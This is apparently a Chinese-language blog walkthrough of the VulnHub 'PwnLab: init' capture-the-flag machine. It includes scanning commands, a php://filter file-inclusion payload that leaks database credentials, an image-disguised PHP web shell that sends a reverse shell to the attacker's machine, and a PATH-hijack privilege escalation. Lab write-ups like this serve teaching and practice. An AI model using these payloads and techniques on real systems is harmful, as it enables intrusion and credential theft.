VulnHub-pwnlab_init渗透

一、靶机地址:

PwnLab: init ~ VulnHub

描述

欢迎来到“PwnLab: init”,我的第一个 Boot2Root 虚拟机。意味着简单,我希望你喜欢它,也许能学到一些东西。这个 CTF 的目的是获取 root 并读取 de 标志。

目标:得到root权限&找到flag.txt

作者:尼德霍格007

时间:2022-6-11

注意:此次渗透在VMware虚拟机中演示,这里使用的技术仅用于学习教育目的,请勿用于非法用途,因学习和使用本文有关技术造成的损失和侵害需自行承担法律责任

二、搭建靶机环境

攻击机Kali

IP地址:192.168.6.173

靶机

IP地址:192.168.6.130

注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)

三、实战渗透

3.1网络扫描

3.1.1 启动靶机和Kali后进行扫描

方法一、arp-scan -I eth0 -l (指定网卡扫)

方法二、masscan 扫描的网段 -p 扫描端口号

masscan 192.168.6.0/24 -p 80,22

方法三、netdiscover -i 网卡-r 网段

方法四、以后补充

3.1.2 查看靶机开放的端口

使用nmap -A(全面探测) -sV(查看版本) -T4(速度) -p-(全端口) 靶机ip查看靶机开放的端口

可以看到 开放着80,111,3306,49422端口

3.2枚举漏洞

80 端口分析

访问80端口

再对80端口进行扫描

config.php可能含有数据库id和密码,此处可利用php文件包含LFI漏洞利用

3.3漏洞利用

3.3.1php://filter 伪协议拿到账号密码

读取文件(allow_url_include和allow_url_fopen都不做要求)

?page=php://filter/read=convert.base64-encode/resource=config(把config以base64的方式读出来)

成功读出

接下来base64转utf-8

得到数据库名为Users,账号为root,密码为H4u%QJ_H99。那么现在转到3306端口连接数据库

3.3.2信息收集获取MySQL账号密码

用从80端口分析出来的账号和密码进行登录

mysql -uroot -pH4u%QJ_H99 -h 192.168.6.130

登录后查看user表中的其他用户名和密码

base64解码后得到JWzXuBJJNy、SIfdsTEn6I、iSv5Ym2GRo


用mike账号成功登录80端口界面,并且只能上传图片,那么我们就传图片马找突破口

3.3.3上传图片马,反弹shell

网页显示只能传图片,所以我们构造一个图片马进行上传,用系统自带的php马,改点东西就行了

把文件改一下ip还有文件头

上传后,再次用php伪协议查看源码,发现可用Cookie的参数名lang进行命令执行

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
    include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
​
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
​
<body>
​
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
    if (isset($_GET['page']))
    {
        include($_GET['page'].".php");
    }
    else
    {
        echo "Use this server to upload and share image files inside the intranet";
    }
?>
</center>
​
</body>
</html>

开启1234端口后,用curl命令运行图片马

端口这边已经成功反弹了shell

但这个shell并不稳定,所以再去用下面这个命令建立一个稳定shell

python -c 'import pty;pty.spawn("/bin/bash")'

3.4权限提升

3.4.1判断提权条件

用kane的密码进入后,发现了一个属于mike用户的ELF课执行文件,我们当前用户无法执行,所以想把它下载下来,利用python -m SimpleHTTPServer开放端口下载,下载好后拖进IDA查看

这里发现了cat /home/mike/msg.txt 使用了带参数的系统函数,我们需要把环境变量改为当前目录。

所以可以修改环境变量,讲cat转换为shell

3.4.2环境变量更改提权

用以下命令对环境变量更改

 ./msgmike
echo "/bin/bash" > cat
chmod +x cat(赋予执行权限)
export PATH=/home/kane(修改为当前目录)
kane@pwnlab:~$ ./msgmike
./msgmike

用户名已经变成了mike了,但还得把环境变量换回去才能查看文件

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
</usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 

再利用linux的特性添加;/bin/sh,就提权成功了

3.4.3找到flag

进入root目录就能找到flag了

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值